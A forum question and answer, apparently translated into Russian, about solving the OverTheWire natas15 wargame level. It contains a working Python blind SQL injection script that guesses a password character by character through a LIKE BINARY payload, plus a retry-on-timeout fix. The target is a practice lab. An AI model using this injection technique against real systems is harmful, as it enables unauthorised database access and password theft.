В natas15 вы должны сделать слепую инъекцию sql

Для теста я запускаю этот код, чтобы найти первую букву пароля

import requests
from requests.auth import HTTPBasicAuth

chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'

for char in chars:
    Data = {'username': 'natas16" and password LIKE BINARY "' + char + '%" #'}
    r = requests.post('http://natas15.natas.labs.overthewire.org/index.php?debug',
                      auth=HTTPBasicAuth('natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'), data=Data)
    print('i test:' + char)
    if 'exists' in r.text:
        print('i find: ' + char)

Но он не работает, он не показывает никаких ошибок, но я нахожу, откуда возникла ошибка, из почтового запроса

Вот какой вывод:

i test:a
i test:b
i test:c
i test:d
i test:a
i test:b
i test:c
i test:d
i test:e
i test:f
i test:g
i test:h
i test:i
i test:j
i test:k
i test:l
i test:m
i test:n
i test:o

(его перестают работать случайным образом)

ИЗМЕНИТЬ я думаю, это мое подключение к Интернету как исправить это (если не удается подключиться, попробуйте еще раз)

0
user11880398 5 Дек 2020 в 16:09

1 ответ

Лучший ответ

Прочитав много документов, я нахожу это

Я заменяю r = requests.post('http://natas15.natas.labs.overthewire.org/index.php?debug', auth=HTTPBasicAuth('natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'), data=Data, timeout=2) к

        while True:
            try:
                r = requests.post('http://natas15.natas.labs.overthewire.org/index.php?debug',
                                  auth=HTTPBasicAuth('natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'), data=Data, timeout=2)
            except requests.exceptions.Timeout as err:
                print('trying again!')
                continue

Если он не может получить ответ через 2 секунды, напечатайте 'trying again!' и попробуйте еще раз!

0
user11880398user11880398 6 Дек 2020 в 08:23